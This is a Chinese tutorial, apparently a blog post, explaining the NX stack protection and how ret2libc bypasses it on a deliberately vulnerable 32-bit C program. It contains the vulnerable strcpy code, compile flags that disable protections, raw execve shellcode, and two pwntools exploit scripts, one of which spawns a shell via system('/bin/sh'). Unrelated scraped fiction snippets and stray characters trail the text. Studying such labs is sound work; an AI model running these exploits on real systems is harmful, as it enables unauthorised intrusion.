NX機(jī)制及繞過策略-ret2libc

注: 請(qǐng)結(jié)合這篇文章:經(jīng)典棧溢出-http://www.reibang.com/p/6a1235d99176查看文本

一,NX

溢出攻擊的本質(zhì)在于馮·諾依曼計(jì)算機(jī)模型對(duì)數(shù)據(jù)和代碼沒有明確區(qū)分這一先天性缺陷爬骤。因?yàn)楣粽呖梢詫⒋a放置于數(shù)據(jù)區(qū)段晚凿,轉(zhuǎn)而讓系統(tǒng)去執(zhí)行羽莺。

NX緩解機(jī)制開啟后笛匙,使某些內(nèi)存區(qū)域不可執(zhí)行,并使可執(zhí)行區(qū)域不可寫饥漫。示例:使數(shù)據(jù)跷乐,堆棧和堆段不可執(zhí)行,而代碼段不可寫趾浅。

二愕提,使用之前經(jīng)典的棧溢出利用腳本進(jìn)行測(cè)試(本文頂端鏈接)

1.源碼

文件名:NX.c

#include <stdio.h>
#include <string.h>

void vul(char *msg)
{
    char buffer[64];
    strcpy(buffer,msg);
    return;
}

int main()
{
    puts("So plz give me your shellcode:");
    char buffer[256];
    memset(buffer,0,256);
    read(0,buffer,256);
    vul(buffer);
    return 0;
}

可以看到,其是將main函數(shù)里的buffer作為msg傳入vul函數(shù)里皿哨,然后拷貝到vul中的buffer,但是main函數(shù)中buffer大小為256浅侨,而vul函數(shù)中buffer的大小為64,這就是問題所在。

2.編譯

gcc編譯:gcc -m32 -g -ggdb -fno-stack-protector -no-pie NX.c -o pwnme
-z execstack參數(shù)加上后會(huì)關(guān)閉NX

3.嘗試運(yùn)行pwnme


正常運(yùn)行证膨!

4.嘗試使用之前的腳本破解

文件名:false_exp.py

from pwn import *

p = process('./pwnme')                    #運(yùn)行程序
p.recvuntil("shellcode:")                 #當(dāng)接受到字符串'shellcode:'

#找jmp_esp_addr_offset,見本文第四節(jié)第二點(diǎn)
libc = ELF('/lib32/libc.so.6')              
jmp_esp = asm('jmp esp')

jmp_esp_addr_offset = libc.search(jmp_esp).next()

if jmp_esp_addr_offset is None:
    print 'Cannot find jmp_esp in libc'
else:
    print hex(jmp_esp_addr_offset)

libc_base = 0xf7dd1000                              #你找到的libc加載地址
jmp_esp_addr = libc_base + jmp_esp_addr_offset      #得到j(luò)mp_esp_addr

print hex(jmp_esp_addr)

#構(gòu)造布局,本文第三節(jié)
buf = 'A'*76                                                     #因?yàn)?4個(gè)字符已經(jīng)將申請(qǐng)的空間填滿如输,接下來就會(huì)產(chǎn)生溢出
buf += p32(jmp_esp_addr)
buf += '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

with open('poc','wb') as f:
    f.write(buf)

p.sendline(buf)                                                #發(fā)送構(gòu)造后的buf

p.interactive()

運(yùn)行==========>崩潰

三,崩潰原因

運(yùn)行起pwnme,并保持運(yùn)行狀態(tài)央勒,新打開一個(gè)終端不见,輸入ps -a,查看pwnmepid



輸入cat /proc/2472/maps查看,可以發(fā)現(xiàn)存在棧不可執(zhí)行

原因:NX機(jī)制已開啟崔步,雖然在椢人保空間的布局正常,程序嘗試去執(zhí)行shellcode,但由于棧地址沒有執(zhí)行權(quán)限井濒,導(dǎo)致奔潰灶似。

四列林,改變布局-ret2libc

ret2libc即控制函數(shù)執(zhí)行libc中的函數(shù),通常是返回至某個(gè)函數(shù)的plt處或者函數(shù)的具體位置(即函數(shù)對(duì)應(yīng)的got表項(xiàng)的內(nèi)容)酪惭。
一般情況下希痴,我們會(huì)選擇執(zhí)行system("/bin/sh"),在不存在ASLR(地址隨機(jī)化)的情況下春感,可以直接通過調(diào)試獲得system的函數(shù)地址以及“/bin/sh”的地址 砌创。

布局圖:

布局原理

布局完成后,返回地址return_addr被覆蓋為libc文件里的system函數(shù)地址鲫懒,當(dāng)運(yùn)行到esp位置時(shí)嫩实,會(huì)跳轉(zhuǎn)到system中執(zhí)行,同時(shí)刀疙,esp指向esp+4,這時(shí)對(duì)system來說扫倡,它內(nèi)部的ret(返回地址)執(zhí)行時(shí)esp指針還是指向esp+4的谦秧,也就是esp + 4(0xdeadbeef)就是system函數(shù)的返回地址,而esp+8則是它的參數(shù)

注:對(duì)于不想使程序崩潰撵溃,可以將esp+4的覆蓋為exit函數(shù)的地址疚鲤,但要只是想得到shell,就是沒什么所謂缘挑,因?yàn)樵谒罎⑶凹阋呀?jīng)獲得了shell,所以我在這里只是覆蓋為0xdeadbeef

五语淘,找地址

我們先找到system/bin/shlibc文件里的偏移地址诲宇,然后找到libc文件在程序里的加載地址libc_base,之后分別相加求取system/bin/sh在程序里的加載位置system_addr/bin/sh_addr

1.查看加載的libc文件版本

2.查看libc文件在程序里的加載地址(libc_base)

命令:LD_TRACE_LOADED_OBJECTS=1 ./pwnme

得到libc_base = 0xf7dd1000

3.查找system與/bin/sh在libc中的地址

ida打開libc.so.6

①system

functions window使用ctrl + f搜索system函數(shù),雙擊system

得到0x0003d7e0

②/bin/sh

ctrl + 1打開quick view,選擇strings打開strings windowctrl + f12

ctrl + f 搜索/bin/sh

得到0x0017c968

4.system與/bin/sh在程序里的地址

ststem_addr = libc_base + 0x0003d7e0
/bin/sh_addr = libc_base+ 0x0017c968

六惶翻,代碼及效果

代碼

文件名:true_exp.py

from pwn import *

p = process('./pwnme')                    #運(yùn)行程序
p.recvuntil("shellcode:")                 #當(dāng)接受到字符串'shellcode:'

libc_base = 0xf7dd1000
system_addr = libc_base + 0x0003D7E0
bin_sh_addr = libc_base + 0x0017C968

#布局
buf = 'A'*76                              #如何得到填充數(shù)據(jù)大泄美丁:http://www.reibang.com/p/278f8d1f8322
buf += p32(system_addr)
buf += p32(0xdeadbeef)
buf += p32(bin_sh_addr)

with open('poc','wb') as f :
    f.write(buf)

p.sendline(buf)                           #開始溢出

p.interactive()

效果

運(yùn)行true_exp.py


輸入whoami返回root,溢出成功!B来帧纺荧!
Ret2Libc雖然把數(shù)據(jù)放在了不具備可執(zhí)行權(quán)限的棧上,但成功執(zhí)行了shellcode颅筋,這是因?yàn)橹皇前演斎霐?shù)據(jù)當(dāng)做純數(shù)據(jù)來間接劫持程序的執(zhí)行流

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末宙暇,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子议泵,更是在濱河造成了極大的恐慌占贫,老刑警劉巖,帶你破解...
    沈念sama閱讀 206,126評(píng)論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件先口,死亡現(xiàn)場(chǎng)離奇詭異靶剑,居然都是意外死亡蜻拨,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,254評(píng)論 2 382
  • 文/潘曉璐 我一進(jìn)店門桩引,熙熙樓的掌柜王于貴愁眉苦臉地迎上來缎讼,“玉大人,你說我怎么就攤上這事坑匠⊙福” “怎么了?”我有些...
    開封第一講書人閱讀 152,445評(píng)論 0 341
  • 文/不壞的土叔 我叫張陵厘灼,是天一觀的道長(zhǎng)夹纫。 經(jīng)常有香客問我,道長(zhǎng)设凹,這世上最難降的妖魔是什么舰讹? 我笑而不...
    開封第一講書人閱讀 55,185評(píng)論 1 278
  • 正文 為了忘掉前任,我火速辦了婚禮闪朱,結(jié)果婚禮上月匣,老公的妹妹穿的比我還像新娘。我一直安慰自己奋姿,他們只是感情好锄开,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,178評(píng)論 5 371
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著称诗,像睡著了一般萍悴。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上寓免,一...
    開封第一講書人閱讀 48,970評(píng)論 1 284
  • 那天癣诱,我揣著相機(jī)與錄音,去河邊找鬼袜香。 笑死狡刘,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的困鸥。 我是一名探鬼主播嗅蔬,決...
    沈念sama閱讀 38,276評(píng)論 3 399
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼疾就!你這毒婦竟也來了澜术?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 36,927評(píng)論 0 259
  • 序言:老撾萬榮一對(duì)情侶失蹤猬腰,失蹤者是張志新(化名)和其女友劉穎鸟废,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體姑荷,經(jīng)...
    沈念sama閱讀 43,400評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡盒延,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 35,883評(píng)論 2 323
  • 正文 我和宋清朗相戀三年缩擂,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片添寺。...
    茶點(diǎn)故事閱讀 37,997評(píng)論 1 333
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡胯盯,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出计露,到底是詐尸還是另有隱情博脑,我是刑警寧澤,帶...
    沈念sama閱讀 33,646評(píng)論 4 322
  • 正文 年R本政府宣布票罐,位于F島的核電站叉趣,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏该押。R本人自食惡果不足惜疗杉,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,213評(píng)論 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望蚕礼。 院中可真熱鬧烟具,春花似錦、人聲如沸闻牡。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,204評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽罩润。三九已至,卻和暖如春翼馆,著一層夾襖步出監(jiān)牢的瞬間割以,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,423評(píng)論 1 260
  • 我被黑心中介騙來泰國(guó)打工应媚, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留严沥,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 45,423評(píng)論 2 352
  • 正文 我出身青樓中姜,卻偏偏與公主長(zhǎng)得像消玄,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子丢胚,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,722評(píng)論 2 345

推薦閱讀更多精彩內(nèi)容

  • 0x01 Start checksec 的時(shí)候可以看到程序沒有打開任何的安全保護(hù)措施翩瓜,然后查看IDA下的匯編代碼,...
    Nevv閱讀 1,668評(píng)論 0 2
  • mean to add the formatted="false" attribute?.[ 46% 47325/...
    ProZoom閱讀 2,689評(píng)論 0 3
  • 最近在學(xué)蒸米的《一步一步學(xué)ROP之linux_x86篇》携龟,內(nèi)容寫的很詳細(xì)兔跌,個(gè)人學(xué)到了很多,但同時(shí)學(xué)的過程中也有很多...
    2mpossible閱讀 1,504評(píng)論 0 5
  • 井上雄彥一句青春的夢(mèng)想往往是不完美的仅乓,勾住了多少人青春的過往±抵郏現(xiàn)實(shí)中有多少人是因晴子而愛上籃球,又有多少人因櫻木花...
    七星火閱讀 680評(píng)論 15 13
  • “踏著沉重的腳步方灾,歸鄉(xiāng)路是那么的漫長(zhǎng)……” 2017年7月22日當(dāng)?shù)貢r(shí)間14點(diǎn)左右建蹄,滿載乘客的美聯(lián)航直飛成都的波音...
    sofabear閱讀 1,659評(píng)論 6 1